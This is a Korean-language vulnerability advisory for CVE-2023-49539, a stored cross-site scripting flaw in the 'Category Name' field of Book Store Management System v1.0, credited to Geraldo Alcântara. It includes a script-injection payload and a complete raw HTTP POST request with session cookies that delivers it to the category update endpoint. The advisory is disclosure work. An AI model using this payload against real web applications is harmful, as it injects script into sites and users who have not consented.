
도서 관리 시스템 v1.0 - "index.php/category"에서의 사이트 간 스크립팅(XSS) 취약점 - 취약 필드: "Category Name"
설명: Book Store Management System v1.0에서 "/bsms_ci/index.php/category"에 사이트 간 스크립팅(XSS) 취약점이 발견되었습니다. 이 취약점으로 인해 공격자는 "category Name" 필드에 조작된 페이로드를 주입하여 임의의 웹 스크립트 또는 HTML을 실행할 수 있습니다.
취약한 제품 버전: Book Store Management System v1.0
CVE 작성자: Geraldo Alcântara
날짜: 29/11/2023
확인 날짜: 15/12/2023
CVE: CVE-2023-49539
테스트 환경: Windows
취약점은 "/bsms_ci/index.php/category/" 페이지에 존재합니다. 구체적으로, 카테고리를 생성/편집할 때 'Category Name' 필드가 취약한 것으로 확인되었습니다. 공격자는 카테고리 생성/편집 과정에서 "Category Name" 필드에 사이트 간 스크립팅(XSS) 페이로드를 주입하여 이 취약점을 악용할 수 있습니다.
<\td><script>alert(document.domain)</script>
POST /bsms_ci/index.php/category/category_update HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/bsms_ci/index.php/category
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; ci_session=72ruij3r4688s92v273ncnqjm150uvu8
Upgrade-Insecure-Requests: 1
category_code_lama=12&category_code=12&category_name=%3c%5ctd%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e&edit=Save
발견자/크레딧:
Geraldo Alcântara